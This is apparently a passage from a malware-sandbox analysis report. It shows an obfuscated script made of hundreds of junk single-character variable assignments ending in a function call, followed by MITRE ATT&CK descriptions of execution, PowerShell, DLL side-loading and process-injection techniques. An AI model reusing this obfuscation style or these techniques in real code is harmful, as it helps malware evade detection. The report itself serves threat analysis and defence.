439	ovvxyzjv = "c";
440	ovvxyzjv = "P";
441	ovvxyzjv = "j";
442	ovvxyzjv = "D";
443	ovvxyzjv = "w";
444	ovvxyzjv = "F";
445	ovvxyzjv = "P";
446	ovvxyzjv = "E";
447	ovvxyzjv = "h";
448	ovvxyzjv = "q";
449	ovvxyzjv = "V";
450	ovvxyzjv = "c";
451	ovvxyzjv = "D";
452	ovvxyzjv = "p";
453	ovvxyzjv = "Z";
454	ovvxyzjv = "B";
455	ovvxyzjv = "T";
456	ovvxyzjv = "Q";
457	irlwwv = "f";
458	ozisluin = "Y";
459	ozisluin = "y";
460	ozisluin = "T";
461	ozisluin = "a";
462	lnyrwdk = "o";
463	lnyrwdk = "b";
464	lnyrwdk = "R";
465	lnyrwdk = "w";
466	lnyrwdk = "Z";
467	lnyrwdk = "I";
468	lnyrwdk = "H";
469	lnyrwdk = "P";
470	lnyrwdk = "n";
471	lnyrwdk = "D";
472	lnyrwdk = "P";
473	lnyrwdk = "B";
474	lnyrwdk = "i";
475	lnyrwdk = "w";
476	lnyrwdk = "u";
477	lnyrwdk = "G";
478	lnyrwdk = "H";
479	lnyrwdk = "P";
480	lnyrwdk = "e";
481	lnyrwdk = "L";
482	lnyrwdk = "Y";
483	lnyrwdk = "t";
484	lnyrwdk = "i";
485	lnyrwdk = "f";
486	lnyrwdk = "D";
487	lnyrwdk = "K";
488	lnyrwdk = "N";
489	qgkalddy = "i";
490	qgkalddy = "z";
491	qgkalddy = "B";
492	qgkalddy = "x";
493	qgkalddy = "B";
494	qgkalddy = "n";
495	qgkalddy = "K";
496	qgkalddy = "A";
497	qgkalddy = "T";
498	qgkalddy = "b";
499	qgkalddy = "R";
500	qgkalddy = "z";
501	qgkalddy = "y";
502	qgkalddy = "z";
503	qgkalddy = "s";
504	qgkalddy = "L";
505	qgkalddy = "k";
506	qgkalddy = "I";
507	qgkalddy = "9";
508	ygocqnj = "T";
509	ygocqnj = "p";
510	ygocqnj = "I";
511	ygocqnj = "P";
512	ygocqnj = "X";
513	ygocqnj = "q";
514	ygocqnj = "z";
515	ygocqnj = "b";
516	ygocqnj = "D";
517	ygocqnj = "v";
518	ygocqnj = "B";
519	ygocqnj = "L";
520	ygocqnj = "L";
521	ygocqnj = "v";
522	ezjmkypoy = "J";
523	ezjmkypoy = "E";
524	ezjmkypoy = "k";
525	ezjmkypoy = "z";
526	ezjmkypoy = "h";
527	ezjmkypoy = "v";
528	ezjmkypoy = "v";
529	ezjmkypoy = "I";
530	ezjmkypoy = "k";
531	ezjmkypoy = "j";
532	ezjmkypoy = "z";
533	ezjmkypoy = "Q";
534	ezjmkypoy = "z";
535	ezjmkypoy = "C";
536	ezjmkypoy = "w";
537	ezjmkypoy = "u";
538	ezjmkypoy = "w";
539	ezjmkypoy = "R";
540	ezjmkypoy = "x";
541	ezjmkypoy = "w";
542	ezjmkypoy = "n";
543	ezjmkypoy = "o";
544	ezjmkypoy = "r";
545	ezjmkypoy = "h";
546	ezjmkypoy = "T";
547	ezjmkypoy = "n";
548	ezjmkypoy = "I";
549	ezjmkypoy = "I";
550	ezjmkypoy = "c";
551	ezjmkypoy = "M";
552	ezjmkypoy = "K";
553	ezjmkypoy = "i";
554	ezjmkypoy = "c";
555	ezjmkypoy = "I";
556	ezjmkypoy = "b";
557	ezjmkypoy = "J";
558	ezjmkypoy = "b";
559	ezjmkypoy = "f";
560	ezjmkypoy = "x";
561	ezjmkypoy = "t";
562	ezjmkypoy = "D";
563	ezjmkypoy = "I";
564	ezjmkypoy = "Z";
565	ezjmkypoy = "G";
566	ezjmkypoy = "_";
567	cahwqfw = "H";
568	cahwqfw = "n";
569	cahwqfw = "b";
570	cahwqfw = "J";
571	cahwqfw = "P";
572	cahwqfw = "c";
573	cahwqfw = "j";
574	cahwqfw = "T";
575	cahwqfw = "i";
576	cahwqfw = "Z";
577	cahwqfw = "g";
578	cahwqfw = "u";
579	cahwqfw = "u";
580	cahwqfw = "G";
581	cahwqfw = "k";
582	cahwqfw = "t";
583	qswlf = "D";
584	qswlf = "C";
585	qswlf = "G";
586	qswlf = "v";
587	qswlf = "q";
588	qswlf = "n";
589	qswlf = "e";
590	qswlf = "K";
591	qswlf = "S";
592	qswlf = "B";
593	qswlf = "p";
594	kaboc = "Q";
595	kaboc = "s";
596	kaboc = "r";
597	kaboc = "K";
598	kaboc = "X";
599	kaboc = "Z";
600	kaboc = "x";
601	kaboc = "x";
602	kaboc = "U";
603	kaboc = "R";
604	kaboc = "v";
605	kaboc = "g";
606	kaboc = "w";
607	kaboc = "H";
608	kaboc = "S";
609	kaboc = "M";
610	kaboc = "a";
611	kaboc = "R";
612	kaboc = "F";
613	kaboc = "O";
614	kaboc = "u";
615	kaboc = "N";
616	kaboc = "D";
617	kaboc = "V";
618	kaboc = "Q";
619	kaboc = "i";
620	kaboc = "c";
621	kaboc = "a";
622	kaboc = "U";
623	kaboc = "p";
624	kaboc = "d";
625	kaboc = "U";
626	kaboc = "L";
627	kaboc = "m";
628	kaboc = "m";
629	kaboc = "t";
630	kaboc = "M";
631	kaboc = "z";
632	kaboc = "y";
633	kaboc = "r";
634	kaboc = ".";
635	cjvyux = "x";
636	cjvyux = "f";
637	cjvyux = "s";
638	cjvyux = "y";
639	cjvyux = "b";
640	cjvyux = "X";
641	cjvyux = "k";
642	cjvyux = "t";
643	cjvyux = "a";
644	cjvyux = "F";
645	cjvyux = "g";
646	cjvyux = "J";
647	cjvyux = "h";
648	cjvyux = "L";
649	cjvyux = "D";
650	cjvyux = "l";
651	cjvyux = "x";
652	mvtiycch = "D";
653	mvtiycch = "K";
654	mvtiycch = "j";
655	mvtiycch = "t";
656	mvtiycch = "d";
657	mvtiycch = "q";
658	mvtiycch = "O";
659	mvtiycch = "K";
660	mvtiycch = "E";
661	mvtiycch = "g";
662	mvtiycch = "D";
663	mvtiycch = "W";
664	mvtiycch = "f";
665	mvtiycch = "r";
666	mvtiycch = "g";
667	sbmdiefuj = "X";
668	sbmdiefuj = "s";
669	sbmdiefuj = "A";
670	sbmdiefuj = "Y";
671	sbmdiefuj = "g";
672	sbmdiefuj = "y";
673	sbmdiefuj = "V";
674	sbmdiefuj = "Q";
675	sbmdiefuj = "S";
676	sbmdiefuj = "z";
677	sbmdiefuj = "H";
678	sbmdiefuj = "k";
679	sbmdiefuj = "Z";
680	sbmdiefuj = "X";
681	sbmdiefuj = "a";
682	sbmdiefuj = "b";
683	sbmdiefuj = "d";
684	sbmdiefuj = "r";
685	sbmdiefuj = "q";
686	sbmdiefuj = "C";
687	sbmdiefuj = "a";
688	sbmdiefuj = "E";
689	sbmdiefuj = "o";
690	thbum = "M";
691	thbum = "F";
692	thbum = "X";
693	thbum = "B";
694	thbum = "n";
695	thbum = "I";
696	thbum = "v";
697	thbum = "B";
698	thbum = "O";
699	thbum = "b";
700	thbum = "x";
701	thbum = "y";
702	thbum = "b";
703	thbum = "h";
704	thbum = "Q";
705	thbum = "N";
706	thbum = "U";
707	emzektyu = "K";
708	emzektyu = "P";
709	emzektyu = "R";
710	emzektyu = "R";
711	emzektyu = "l";
712	emzektyu = "A";
713	emzektyu = "J";
714	emzektyu = "A";
715	emzektyu = "Y";
716	emzektyu = "U";
717	emzektyu = "q";
718	emzektyu = "Z";
719	emzektyu = "Y";
720	emzektyu = "j";
721	emzektyu = "e";
722	emzektyu = "Q";
723	emzektyu = "P";
724	emzektyu = "Y";
725	emzektyu = "J";
726	emzektyu = "J";
727	emzektyu = "n";
728	emzektyu = "V";
729	emzektyu = "m";
730	emzektyu = "t";
731	emzektyu = "i";
732	emzektyu = "i";
733	jbvzmg = "L";
734	jbvzmg = "s";
735	jbvzmg = "q";
736	jbvzmg = "Q";
737	jbvzmg = "b";
738	jbvzmg = "A";
739	jbvzmg = "c";
740	jbvzmg = "y";
741	jbvzmg = "p";
742	jbvzmg = "E";
743	jbvzmg = "m";
744	jbvzmg = "C";
745	pmyljxmb = "K";
746	vtdhl = "I";
747	vtdhl = "j";
748	vtdhl = "j";
749	vtdhl = "o";
750	vtdhl = "Z";
751	vtdhl = "L";
752	vtdhl = "T";
753	vtdhl = "a";
754	vtdhl = "T";
755	vtdhl = "f";
756	vtdhl = "g";
757	vtdhl = "N";
758	vtdhl = "G";
759	vtdhl = "C";
760	vtdhl = "w";
761	vtdhl = "U";
762	vtdhl = "C";
763	vtdhl = "E";
764	vtdhl = "y";
765	vtdhl = "W";
766	vtdhl = "X";
767	vtdhl = "Q";
768	vtdhl = "f";
769	vtdhl = "E";
770	vtdhl = "j";
771	vtdhl = "b";
772	vtdhl = "g";
773	vtdhl = "t";
774	vtdhl = "Z";
775	vtdhl = "S";
776	ubwztutv = "g";
777	ubwztutv = "S";
778	ubwztutv = "T";
779	ubwztutv = "a";
780	ubwztutv = "e";
781	ubwztutv = "B";
782	ubwztutv = "E";
783	ubwztutv = "J";
784	ubwztutv = "f";
785	ubwztutv = "P";
786	ubwztutv = "X";
787	ubwztutv = "w";
788	ubwztutv = "N";
789	ubwztutv = "R";
790	ubwztutv = "f";
791	ubwztutv = "S";
792	ubwztutv = "I";
793	ubwztutv = "b";
794	ubwztutv = "b";
795	ubwztutv = "e";
796	ubwztutv = "l";
797	ubwztutv = "B";
798	ubwztutv = "M";
799	ubwztutv = "T";
800	ubwztutv = "k";
801	ubwztutv = "L";
802	ubwztutv = "s";
803	wqmmp = "g";
804	wqmmp = "H";
805	wqmmp = "R";
806	wqmmp = "W";
807	wqmmp = "s";
808	wqmmp = "a";
809	wqmmp = "o";
810	wqmmp = "O";
811	wqmmp = "J";
812	wqmmp = "e";
813	wqmmp = "b";
814	wqmmp = "H";
815	wqmmp = "g";
816	wqmmp = "r";
817	wqmmp = "O";
818	wqmmp = "w";
819	wqmmp = "U";
820	wqmmp = "P";
821	wqmmp = "l";
822	wqmmp = "u";
823	wqmmp = "w";
824	wqmmp = "S";
825	wqmmp = "L";
826	wqmmp = "p";
827	wqmmp = "y";
828	wqmmp = "p";
829	wqmmp = "N";
830	wqmmp = "L";
831	wqmmp = "I";
832	wqmmp = "N";
833	wqmmp = "s";
834	wqmmp = "o";
835	wqmmp = "O";
836	wqmmp = "o";
837	wqmmp = "l";
838	wqmmp = "d";
839	wqmmp = "z";
840	wqmmp = "Y";
841	wqmmp = "3";
842	ofizi = "Z";
843	ofizi = "z";
844	ofizi = "A";
845	ofizi = "x";
846	ofizi = "f";
847	ofizi = "w";
848	ofizi = "u";
849	ofizi = "W";
850	ofizi = "x";
851	ofizi = "s";
852	ofizi = "l";
853	ofizi = "l";
854	ofizi = "n";
855	ofizi = "I";
856	ofizi = "e";
857	ofizi = "i";
858	ofizi = "T";
859	ofizi = "y";
860	ofizi = "d";
861	ofizi = "R";
862	ofizi = "l";
863	dgkgaydt = "i";
864	dgkgaydt = "o";
865	dgkgaydt = "j";
866	dgkgaydt = "z";
867	dgkgaydt = "x";
868	dgkgaydt = "p";
869	dgkgaydt = "e";
870	dgkgaydt = "H";
871	dgkgaydt = "W";
872	dgkgaydt = "o";
873	dgkgaydt = "O";
874	dgkgaydt = "k";
875	dgkgaydt = "C";
876	dgkgaydt = "w";
877	dgkgaydt = "m";
878	dgkgaydt = "P";
879	dgkgaydt = "l";
880	dgkgaydt = "R";
881	dgkgaydt = "O";
882	dgkgaydt = "O";
883	dgkgaydt = "w";
884	dgkgaydt = "/";
885	dnlslb = "C";
886	dnlslb = "z";
887	dnlslb = "p";
888	dnlslb = "c";
889	dnlslb = "e";
890	dnlslb = "S";
891	dnlslb = "A";
892	dnlslb = "g";
893	dnlslb = "j";
894	dnlslb = "Z";
895	dnlslb = "p";
896	dnlslb = "R";
897	dnlslb = "K";
898	dnlslb = "f";
899	dnlslb = "j";
900	dnlslb = "H";
901	dnlslb = "J";
902	dnlslb = "L";
903	dnlslb = "x";
904	dnlslb = "s";
905	dnlslb = "T";
906	wlftzsewo = "j";
907	wlftzsewo = "s";
908	wlftzsewo = "D";
909	wlftzsewo = "v";
910	wlftzsewo = "o";
911	wlftzsewo = "D";
912	wlftzsewo = "a";
913	wlftzsewo = "r";
914	wlftzsewo = "j";
915	wlftzsewo = "f";
916	wlftzsewo = "Z";
917	wlftzsewo = "q";
918	wlftzsewo = "W";
919	wlftzsewo = "E";
920	wlftzsewo = "P";
921	jvchnwgf = "p";
922	jvchnwgf = "k";
923	jvchnwgf = "i";
924	jvchnwgf = "o";
925	jvchnwgf = "P";
926	jvchnwgf = "b";
927	jvchnwgf = "H";
928	jvchnwgf = "w";
929	jvchnwgf = "L";
930	jvchnwgf = "n";
931	jvchnwgf = "T";
932	jvchnwgf = "e";
933	jvchnwgf = "m";
934	jvchnwgf = "w";
935	jvchnwgf = "A";
936	jvchnwgf = "K";
937	jvchnwgf = "D";
938	jvchnwgf = "A";
939	jvchnwgf = "x";
940	jvchnwgf = "M";
941	jvchnwgf = "q";
942	yohdplo = "h";
943	yohdplo = "F";
944	yohdplo = "X";
945	yohdplo = "B";
946	yohdplo = "S";
947	yohdplo = "h";
948	yohdplo = "D";
949	yohdplo = "e";
950	yohdplo = "E";
951	yohdplo = "n";
952	yohdplo = "y";
953	yohdplo = "x";
954	yohdplo = "l";
955	yohdplo = "l";
956	yohdplo = "u";
957	yohdplo = "A";
958	yohdplo = "V";
959	yohdplo = "N";
960	yohdplo = "i";
961	yohdplo = "x";
962	yohdplo = "s";
963	yohdplo = "u";
964	yohdplo = "Y";
965	yohdplo = "F";
966	qlsbou = "&";
967	ntgms = "q";
968	ntgms = "E";
969	ntgms = "i";
970	ntgms = "I";
971	ntgms = "A";
972	ntgms = "R";
973	ntgms = "I";
974	ntgms = "v";
975	ntgms = "I";
976	ntgms = "b";
977	ntgms = "T";
978	ntgms = "z";
979	ntgms = "T";
980	ntgms = "j";
981	ntgms = "B";
982	ntgms = "G";
983	ntgms = "Y";
984	ntgms = "n";
985	ntgms = "l";
986	ntgms = "H";
987	ntgms = "x";
988	ntgms = "J";
989	ntgms = "T";
990	ntgms = "y";
991	ntgms = "s";
992	ntgms = "s";
993	ntgms = "G";
994	ntgms = "a";
995	ntgms = "x";
996	ntgms = "h";
997	ntgms = "I";
998	ntgms = "c";
999	vdfgzbzi = "L";
1000	vdfgzbzi = "c";
1001	vdfgzbzi = "n";
1002	vdfgzbzi = "a";
1003	vdfgzbzi = "u";
1004	vdfgzbzi = "p";
1005	vdfgzbzi = "K";
1006	vdfgzbzi = "U";
1007	vdfgzbzi = "N";
1008	vdfgzbzi = "h";
1009	vdfgzbzi = "U";
1010	vdfgzbzi = "K";
1011	vdfgzbzi = "L";
1012	vdfgzbzi = "e";
1013	vdfgzbzi = "j";
1014	vdfgzbzi = "o";
1015	vdfgzbzi = "A";
1016	vdfgzbzi = "r";
1017	vdfgzbzi = "Z";
1018	vdfgzbzi = "Y";
1019	vdfgzbzi = "X";
1020	vdfgzbzi = "M";
1021	vdfgzbzi = "N";
1022	vdfgzbzi = "a";
1023	vdfgzbzi = "t";
1024	vdfgzbzi = "W";
1025	vdfgzbzi = "Q";
1026	vdfgzbzi = "a";
1027	vdfgzbzi = "M";
1028	vdfgzbzi = "x";
1029	vdfgzbzi = "S";
1030	vdfgzbzi = "L";
1031	vdfgzbzi = "y";
1032	vdfgzbzi = "Y";
1033	vdfgzbzi = "f";
1034	vdfgzbzi = "B";
1035	vdfgzbzi = "s";
1036	vdfgzbzi = "k";
1037	piwdpiytd = "w";
1038	piwdpiytd = "g";
1039	piwdpiytd = "n";
1040	piwdpiytd = "R";
1041	piwdpiytd = "m";
1042	piwdpiytd = "v";
1043	piwdpiytd = "G";
1044	piwdpiytd = "e";
1045	piwdpiytd = "z";
1046	piwdpiytd = "A";
1047	piwdpiytd = "6";
1048	wtgeznc = "l";
1049	wtgeznc = "E";
1050	wtgeznc = "Z";
1051	wtgeznc = "T";
1052	wtgeznc = "f";
1053	wtgeznc = "Y";
1054	wtgeznc = "g";
1055	wtgeznc = "V";
1056	wtgeznc = "a";
1057	wtgeznc = "B";
1058	wtgeznc = "R";
1059	wtgeznc = "L";
1060	wtgeznc = "u";
1061	wtgeznc = "q";
1062	wtgeznc = "t";
1063	wtgeznc = "y";
1064	wtgeznc = "I";
1065	wtgeznc = "q";
1066	wtgeznc = "b";
1067	wtgeznc = "Y";
1068	wtgeznc = "s";
1069	wtgeznc = "i";
1070	wtgeznc = "n";
1071	wtgeznc = "A";
1072	wtgeznc = "l";
1073	wtgeznc = "U";
1074	wtgeznc = "e";
1075	wtgeznc = "G";
1076	wtgeznc = "e";
1077	wtgeznc = "I";
1078	wtgeznc = "p";
1079	wtgeznc = "e";
1080	wtgeznc = "u";
1081	wtgeznc = "h";
1082	ncina = "S";
1083	ncina = "x";
1084	ncina = "z";
1085	ncina = "Z";
1086	ncina = "E";
1087	ncina = "t";
1088	ncina = "K";
1089	ncina = "l";
1090	ncina = "c";
1091	ncina = "m";
1092	ncina = "Q";
1093	ncina = "n";
1094	ncina = "l";
1095	ncina = "B";
1096	ncina = "s";
1097	ncina = "I";
1098	ncina = "B";
1099	ncina = "H";
1100	ncina = "v";
1101	ncina = "A";
1102	ncina = "M";
1103	ncina = "k";
1104	ncina = "R";
1105	ncina = "K";
1106	ncina = "L";
1107	ncina = "r";
1108	ncina = "Z";
1109	ncina = "z";
1110	ncina = "E";
1111	ncina = "H";
1112	ncina = "t";
1113	ncina = "y";
1114	ncina = "C";
1115	ncina = "T";
1116	ncina = "U";
1117	ncina = "K";
1118	ncina = "Y";
1119	ncina = "I";
1120	ncina = "m";
1121	ncina = "n";
1122	urekoq = "W";
1123	urekoq = "H";
1124	urekoq = "G";
1125	urekoq = "N";
1126	urekoq = "s";
1127	urekoq = "E";
1128	urekoq = "m";
1129	urekoq = "x";
1130	urekoq = "X";
1131	urekoq = "e";
1132	urekoq = "E";
1133	rjmpvk = "t";
1134	rjmpvk = "J";
1135	rjmpvk = "y";
1136	rjmpvk = "g";
1137	rjmpvk = "E";
1138	rjmpvk = "\"";
1139	sxonr = "h";
1140	sxonr = "A";
1141	sxonr = "q";
1142	sxonr = "Z";
1143	sxonr = "d";
1144	sxonr = "o";
1145	sxonr = "y";
1146	sxonr = "Q";
1147	sxonr = "P";
1148	sxonr = "t";
1149	sxonr = "D";
1150	sxonr = "A";
1151	sxonr = "R";
1152	sxonr = "i";
1153	sxonr = "J";
1154	sxonr = "r";
1155	sxonr = "w";
1156	sxonr = "l";
1157	sxonr = "A";
1158	sxonr = "k";
1159	sxonr = "M";
1160	sxonr = "Q";
1161	sxonr = "a";
1162	sxonr = "T";
1163	sxonr = "p";
1164	sxonr = "B";
1165	sxonr = "Q";
1166	sxonr = "C";
1167	sxonr = "S";
1168	sxonr = "S";
1169	sxonr = "u";
1170	sxonr = "y";
1171	sxonr = "B";
1172	sxonr = "2";
1173	atviaqkf = "q";
1174	atviaqkf = "S";
1175	atviaqkf = "O";
1176	atviaqkf = "N";
1177	atviaqkf = "A";
1178	atviaqkf = "u";
1179	atviaqkf = "M";
1180	atviaqkf = "H";
1181	atviaqkf = "U";
1182	atviaqkf = "N";
1183	atviaqkf = "I";
1184	atviaqkf = "T";
1185	atviaqkf = "Z";
1186	atviaqkf = "I";
1187	atviaqkf = "Z";
1188	atviaqkf = "i";
1189	atviaqkf = "N";
1190	atviaqkf = "D";
1191	atviaqkf = "p";
1192	atviaqkf = "m";
1193	atviaqkf = "C";
1194	atviaqkf = "M";
1195	atviaqkf = "r";
1196	atviaqkf = "f";
1197	atviaqkf = "m";
1198	atviaqkf = "g";
1199	atviaqkf = "m";
1200	atviaqkf = "n";
1201	atviaqkf = "Q";
1202	atviaqkf = "H";
1203	atviaqkf = "Z";
1204	atviaqkf = "f";
1205	atviaqkf = "r";
1206	atviaqkf = "D";
1207	atviaqkf = "T";
1208	atviaqkf = "U";
1209	atviaqkf = "w";
1210	atviaqkf = "P";
1211	atviaqkf = "k";
1212	atviaqkf = "J";
1213	atviaqkf = "Y";
1214	atviaqkf = "e";
1215	atviaqkf = "v";
1216	atviaqkf = "o";
1217	atviaqkf = "8";
1218	lnhflxs = "b";
1219	lnhflxs = "w";
1220	lnhflxs = "B";
1221	lnhflxs = "k";
1222	lnhflxs = "n";
1223	lnhflxs = "N";
1224	lnhflxs = "v";
1225	lnhflxs = "o";
1226	lnhflxs = "F";
1227	lnhflxs = "I";
1228	lnhflxs = "D";
1229	lnhflxs = "Y";
1230	lnhflxs = "m";
1231	lnhflxs = "L";
1232	lnhflxs = "s";
1233	lnhflxs = "K";
1234	lnhflxs = "M";
1235	lnhflxs = "C";
1236	lnhflxs = "O";
1237	lnhflxs = "g";
1238	lnhflxs = "b";
1239	lnhflxs = "C";
1240	lnhflxs = "X";
1241	lnhflxs = "t";
1242	lnhflxs = "X";
1243	lnhflxs = "X";
1244	lnhflxs = "k";
1245	lnhflxs = "e";
1246	lnhflxs = "1";
1247	rhtyez = "z";
1248	rhtyez = "G";
1249	rhtyez = "n";
1250	rhtyez = "n";
1251	rhtyez = "n";
1252	rhtyez = "k";
1253	rhtyez = "l";
1254	rhtyez = "D";
1255	rhtyez = "M";
1256	rhtyez = "Y";
1257	rhtyez = "b";
1258	rhtyez = "S";
1259	rhtyez = "Y";
1260	rhtyez = "x";
1261	rhtyez = "T";
1262	rhtyez = "F";
1263	rhtyez = "E";
1264	rhtyez = "w";
1265	rhtyez = "O";
1266	rhtyez = "e";
1267	rhtyez = "T";
1268	rhtyez = "t";
1269	rhtyez = "N";
1270	rhtyez = "c";
1271	rhtyez = " ";
1272	vwnsapw = "d";
1273	vwnsapw = "h";
1274	vwnsapw = "P";
1275	vwnsapw = "Z";
1276	vwnsapw = "f";
1277	vwnsapw = "Q";
1278	vwnsapw = "e";
1279	wdgqrax = "q";
1280	wdgqrax = "v";
1281	wdgqrax = "J";
1282	wdgqrax = "R";
1283	wdgqrax = "s";
1284	wdgqrax = "O";
1285	wdgqrax = "y";
1286	wdgqrax = "t";
1287	wdgqrax = "H";
1288	wdgqrax = "H";
1289	wdgqrax = "j";
1290	wdgqrax = "j";
1291	wdgqrax = "J";
1292	wdgqrax = "I";
1293	wdgqrax = "R";
1294	wdgqrax = "E";
1295	wdgqrax = "V";
1296	wdgqrax = "O";
1297	iudbtb = "i";
1298	iudbtb = "a";
1299	iudbtb = "w";
1300	iudbtb = "p";
1301	iudbtb = "V";
1302	iudbtb = "E";
1303	iudbtb = "\\";
1304	ohsijmtff = "O";
1305	ohsijmtff = "G";
1306	ohsijmtff = "S";
1307	ohsijmtff = "F";
1308	ohsijmtff = "a";
1309	ohsijmtff = "W";
1310	ohsijmtff = "Y";
1311	ohsijmtff = "c";
1312	ohsijmtff = "W";
1313	ohsijmtff = "l";
1314	ohsijmtff = "y";
1315	ohsijmtff = "j";
1316	ohsijmtff = "c";
1317	ohsijmtff = "n";
1318	ohsijmtff = "E";
1319	ohsijmtff = "M";
1320	ohsijmtff = "a";
1321	ohsijmtff = "K";
1322	ohsijmtff = "T";
1323	ohsijmtff = "O";
1324	ohsijmtff = "d";
1325	ohsijmtff = "m";
1326	ohsijmtff = "O";
1327	ohsijmtff = "x";
1328	ohsijmtff = "p";
1329	ohsijmtff = "N";
1330	ohsijmtff = "O";
1331	ohsijmtff = "i";
1332	ohsijmtff = "B";
1333	ohsijmtff = "G";
1334	ohsijmtff = "W";
1335	ohsijmtff = "n";
1336	ohsijmtff = "y";
1337	ohsijmtff = "K";
1338	ohsijmtff = "i";
1339	ohsijmtff = "H";
1340	ohsijmtff = "-";
1341	skmmnsz = "m";
1342	skmmnsz = "F";
1343	skmmnsz = "G";
1344	skmmnsz = "O";
1345	skmmnsz = "o";
1346	skmmnsz = "U";
1347	skmmnsz = "q";
1348	skmmnsz = "H";
1349	skmmnsz = "X";
1350	skmmnsz = "g";
1351	skmmnsz = "x";
1352	skmmnsz = "F";
1353	skmmnsz = "0";
1354	yzjkxntrj = "k";
1355	yzjkxntrj = "Z";
1356	yzjkxntrj = "X";
1357	yzjkxntrj = "o";
1358	yzjkxntrj = "g";
1359	yzjkxntrj = "Q";
1360	yzjkxntrj = "S";
1361	yzjkxntrj = "f";
1362	yzjkxntrj = "v";
1363	yzjkxntrj = "y";
1364	yzjkxntrj = "C";
1365	yzjkxntrj = "v";
1366	yzjkxntrj = "L";
1367	yzjkxntrj = "s";
1368	yzjkxntrj = "o";
1369	yzjkxntrj = "L";
1370	yzjkxntrj = "m";
1371	yzjkxntrj = "f";
1372	yzjkxntrj = "K";
1373	yzjkxntrj = "u";
1374	yzjkxntrj = "Q";
1375	yzjkxntrj = "d";
1376	yzjkxntrj = "U";
1377	yzjkxntrj = "M";
1378	yzjkxntrj = "f";
1379	yzjkxntrj = "W";
1380	yzjkxntrj = "s";
1381	yzjkxntrj = "C";
1382	yzjkxntrj = "I";
1383	yzjkxntrj = "L";
1384	yzjkxntrj = "Z";
1385	yzjkxntrj = "N";
1386	yzjkxntrj = "s";
1387	yzjkxntrj = "m";
1388	yzjkxntrj = "l";
1389	yzjkxntrj = "5";
1390	mmxpjguh = "Y";
1391	mmxpjguh = "p";
1392	mmxpjguh = "V";
1393	mmxpjguh = "F";
1394	mmxpjguh = "w";
1395	mmxpjguh = "@";
1396	beohb = "K";
1397	beohb = "F";
1398	beohb = "Q";
1399	beohb = "y";
1400	beohb = "q";
1401	beohb = "u";
1402	beohb = "n";
1403	beohb = "m";
1404	beohb = "N";
1405	beohb = "p";
1406	beohb = "h";
1407	beohb = "o";
1408	beohb = "h";
1409	beohb = "i";
1410	beohb = "u";
1411	beohb = "d";
1412	beohb = "G";
1413	beohb = "j";
1414	beohb = "F";
1415	beohb = "D";
1416	beohb = "Q";
1417	beohb = "t";
1418	beohb = "j";
1419	beohb = "s";
1420	beohb = "F";
1421	beohb = "K";
1422	beohb = "p";
1423	beohb = "r";
1424	beohb = "Y";
1425	beohb = "r";
1426	beohb = "t";
1427	beohb = "V";
1428	beohb = "i";
1429	beohb = "h";
1430	beohb = "o";
1431	beohb = "k";
1432	beohb = "v";
1433	beohb = "X";
1434	beohb = "4";
1435	yoooawhs = "G";
1436	yoooawhs = "s";
1437	yoooawhs = "G";
1438	yoooawhs = "h";
1439	yoooawhs = "A";
1440	yoooawhs = "a";
1441	yoooawhs = "B";
1442	yoooawhs = "E";
1443	yoooawhs = "v";
1444	yoooawhs = "U";
1445	yoooawhs = "M";
1446	yoooawhs = "p";
1447	yoooawhs = "S";
1448	yoooawhs = "Z";
1449	yoooawhs = "A";
1450	yoooawhs = "T";
1451	yoooawhs = "Q";
1452	yoooawhs = "G";
1453	yoooawhs = "E";
1454	yoooawhs = "u";
1455	yoooawhs = "X";
1456	yoooawhs = "o";
1457	yoooawhs = "E";
1458	yoooawhs = "I";
1459	yoooawhs = "E";
1460	yoooawhs = "E";
1461	yoooawhs = "X";
1462	yoooawhs = "Z";
1463	yoooawhs = "d";
1464	yoooawhs = "x";
1465	yoooawhs = "Y";
1466	yoooawhs = "I";
1467	yoooawhs = "D";
1468	yoooawhs = "c";
1469	yoooawhs = "G";
1470	yoooawhs = "A";
1471	yoooawhs = "R";
1472	yoooawhs = "E";
1473	yoooawhs = "w";
1474	nioyujkgb ( );	nioyujkgb() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
